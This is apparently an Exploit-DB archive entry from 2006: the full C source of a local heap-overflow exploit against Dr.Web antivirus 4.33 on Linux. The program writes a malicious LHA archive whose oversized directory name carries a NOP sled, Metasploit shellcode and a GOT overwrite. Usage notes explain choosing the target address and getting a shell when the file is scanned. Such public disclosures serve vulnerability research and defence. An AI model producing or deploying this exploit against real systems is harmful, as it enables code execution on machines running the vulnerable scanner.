Dr.Web AntiVirus 4.33 - LHA long Directory name Local Overflow

EDB-ID:

2404


Platform:

Linux

Published:

2006-09-20

/********************************************************************

stetoscope.c:
Dr.Web 4.33 antivirus LHA directory name heap overflow for linux


- Howto:

 Find a valid GOT entry to hijack with objdump -R /opt/drweb/drweb .
 I guess that you can use the address of free(), but my exploit
 uses the address of realpath().  There was a NULL byte in the GOT
 entry of free() so I had to find something else ;-)

 Calling the exploit will produce a file.  Scan this file with a
 vulnerable version of drweb and you will, hopefully, get a shell :-)

 Good luck!


- Exploit particularities:

 - There is a NOP sled using \xeb\x0a .  Increases exploit
   reliability
 - 0xff and 0x00 are filtered caracters
 - Bypass some malloc security checks added in malloc.c:

   Little security check which won't hurt performance: the
   allocator never wrapps around at the end of the address space.
   Therefore we can exclude some size values which might appear
   here by accident or by "design" from some intruder.

   This thread helped me a lot :-) :

   http://archives.neohapsis.com/archives/dailydave/2006-
   q1/thread.html#149

 - Shellcode took from Metasploit's shellcode generator.


- Coded by:

 Jean-Sebastien Guay-Leroux
 http://www.guay-leroux.com

*********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Base structure of a LHA file
#define I_HEADER_SIZE                   0
#define I_HEADER_CHECKSUM               1
#define I_METHOD                        2
#define I_PACKED_SIZE                   7
#define I_ORIGINAL_SIZE                 11
#define I_LAST_MODIFIED_STAMP           15
#define I_ATTRIBUTE                     19
#define I_HEADER_LEVEL                  20
#define I_NAME_LENGTH                   21
#define I_NAME                          22
#define I_CRC                           26
#define I_EXTEND_TYPE                   28

// Extended structure of a LHA file
#define E_HEADER_SIZE                   0
#define E_HEADER_TYPE                   2
#define E_HEADER_NAME                   3

#define DEBUG 0

unsigned char shellcode1[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
"\x11\x22\xdf\x83\xeb\xfc\xe2\xf4\x62\x1a\x7a\x46\x5a\x77\x4a\xf2"
"\x6b\x98\xc5\xb7\x27\x62\x4a\xdf\x60\x3e\x40\xb6\x66\x98\xc1\x8d"
"\xe0\x19\x22\xdf\x08\x3e\x40\xb6\x66\x3e\x51\xb7\x08\x46\x71\x56"
"\xe9\xdc\xa2\xdf";

FILE * open_file (char *filename) {

       FILE *fp;

       fp = fopen ( filename , "w" );

       if (!fp) {
               perror ("Cant open file");
               exit (-1);
       }

       return fp;
}

void put_byte (char *ptr, unsigned char data) {
       *ptr = data;
}

void put_word (char *ptr, unsigned short data) {
       put_byte (ptr, data);
       put_byte (ptr + 1, data >> 8);
}

void put_longword (char *ptr, unsigned long data) {
       put_byte (ptr, data);
       put_byte (ptr + 1, data >> 8);
       put_byte (ptr + 2, data >> 16);
       put_byte (ptr + 3, data >> 24);
}

void usage (char *progname) {

       printf ("\nTo use:\n");
       printf ("%s <retloc> <retaddr> <file>\n\n", progname);
       printf ("Example: %s 0x08080114 0x081C63F8 LHA_dir\n\n",
       progname);

       exit (-1);
}

int main (int argc, char *argv[]) {

       FILE *fp;
       char *hdr = (char *) malloc (4096), *ptr;
       int header_size;
       int written_bytes;
       int total_size;
       unsigned int retloc, retaddr;
       char *filename = (char *) malloc (256);
       int i;

       if (!hdr) {
               perror ("Error allocating memory");
               exit (-1);
       }

       if ( argc != 4) {
               usage ( argv[0] );
       }

       // parse arguments
       sscanf (argv[1], "0x%x", &retloc);
       sscanf (argv[2], "0x%x", &retaddr);
       strncpy (filename, argv[3], 255);

       memset (hdr, 0, 4096);

       // base header
       header_size = 29;
       put_byte (hdr + I_HEADER_SIZE, header_size);
       put_byte (hdr + I_HEADER_CHECKSUM, 83);
       memcpy (hdr + I_METHOD, "-lh0-", 5); // No compression...
       put_longword (hdr + I_PACKED_SIZE, 0x1234);
       put_longword (hdr + I_ORIGINAL_SIZE, 0x1234);
       put_longword (hdr + I_LAST_MODIFIED_STAMP, 0x1234);
       put_byte (hdr + I_ATTRIBUTE, 0x20);
       put_byte (hdr + I_HEADER_LEVEL, 0x01);
       put_byte (hdr + I_NAME_LENGTH, 0x04);
       put_longword (hdr + I_NAME, 0x90909090);
       put_word (hdr + I_CRC, 0x6666);
       put_byte (hdr + I_EXTEND_TYPE, 0x55); // Unix filesystem.

       // extended header
       put_word (hdr + header_size + E_HEADER_SIZE, 285);
       put_byte (hdr + header_size + E_HEADER_TYPE, 0x2);

       // Build our payload
       memset (hdr + header_size + E_HEADER_NAME, 0x41, 266);
       for (i = 0, ptr = hdr + header_size + E_HEADER_NAME; i < (240
       - strlen (shellcode1) - 10);) {
               ptr[i++] = 0xeb;
               ptr[i++] = 0x0a;
       }
       for (; i < (240 - strlen (shellcode1));) {
               ptr[i++]=0x90;
       }
       memcpy (hdr + header_size + E_HEADER_NAME + 240 - strlen
       (shellcode1), shellcode1, strlen(shellcode1));

       put_longword (hdr + header_size + E_HEADER_NAME + 266,
       0x41414141);
       put_longword (hdr + header_size + E_HEADER_NAME + 270,
       0xB7E34CC2);
       put_longword (hdr + header_size + E_HEADER_NAME + 274, retloc
       - 0xc);
       put_longword (hdr + header_size + E_HEADER_NAME + 278,
       retaddr);

       // Size of next extended header is 0
       put_word (hdr + header_size + E_HEADER_NAME + 282, 0x0000);

       total_size = (header_size + 284 + E_HEADER_NAME);

       fp = open_file (filename);

       if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 )
       {
               if (DEBUG) printf ("%d bytes written\n",
               written_bytes);
       } else {
               perror ("Cant write to the file\n");
       }

       fclose (fp);

       return 0;
}

// milw0rm.com [2006-09-20]